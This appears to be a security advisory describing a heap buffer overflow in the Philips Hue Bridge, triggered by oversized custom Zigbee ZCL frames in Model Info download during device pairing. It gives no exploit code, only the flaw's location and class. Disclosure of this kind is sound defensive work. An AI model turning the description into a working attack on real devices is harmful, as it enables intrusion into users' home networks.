This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Philips Hue Bridge. User interaction is required to exploit this vulnerability in that the user must initiate the device pairing process.\n\nThe specific flaw exists within the handling of custom Zigbee ZCL frames in the Model Info download functionality. The issue results from the lack of proper validation of the size of data prior to copying it to a fixed-size heap buffer.
